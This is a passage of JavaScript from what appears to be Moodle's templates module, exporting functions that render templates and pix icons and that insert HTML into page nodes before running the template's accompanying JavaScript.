rendered. */ renderForPromise: function(templateName, context, themeName) { var renderer = new Renderer(); return renderer.render(templateName, context, themeName) .then(function(html, js) { return { html: html, js: js, }; }); }, /** * Every call to renderIcon creates a new instance of the class and calls renderIcon on it. This * means each render call has it's own class variables. * * @method renderIcon * @public * @param {string} key - Icon key. * @param {string} component - Icon component * @param {string} title - Icon title * @return {Promise} JQuery promise object resolved when the pix has been rendered. */ renderPix: function(key, component, title) { var renderer = new Renderer(); return renderer.renderIcon( key, getNormalisedComponent(component), title ); }, /** * Execute a block of JS returned from a template. * Call this AFTER adding the template HTML into the DOM so the nodes can be found. * * @method runTemplateJS * @param {string} source - A block of javascript. */ runTemplateJS: runTemplateJS, /** * Replace a node in the page with some new HTML and run the JS. * * @method replaceNodeContents * @param {JQuery} element - Element or selector to replace. * @param {String} newHTML - HTML to insert / replace. * @param {String} newJS - Javascript to run after the insertion. * @return {Array} The list of new DOM Nodes */ replaceNodeContents: function(element, newHTML, newJS) { return domReplace(element, newHTML, newJS, true); }, /** * Insert a node in the page with some new HTML and run the JS. * * @method replaceNode * @param {JQuery} element - Element or selector to replace. * @param {String} newHTML - HTML to insert / replace. * @param {String} newJS - Javascript to run after the insertion. * @return {Array} The list of new DOM Nodes */ replaceNode: function(element, newHTML, newJS) { return domReplace(element, newHTML, newJS, false); }, /** * Prepend some HTML to a node and trigger events and fire javascript. * * @method prependNodeContents * @param {jQuery|String} element - Element or selector to prepend HTML to * @param {String} html - HTML to prepend * @param {String} js - Javascript to run after we prepend the html * @return {Array} The list of new DOM Nodes */ prependNodeContents: function(element, html, js) { return domPrepend(element, html, js); }, /** * Append some HTML to a node and trigger events and fire javascript. * * @method appendNodeContents * @param {jQuery|String} element - Element or selector to append HTML to * @param {String} html - HTML to append * @param {String} js - Javascript to run after we append the html * @return {Array} The list of new DOM Nodes */ appendNodeContents: function(element, html, js) { return domAppend(element, html, js); }, }; });
Close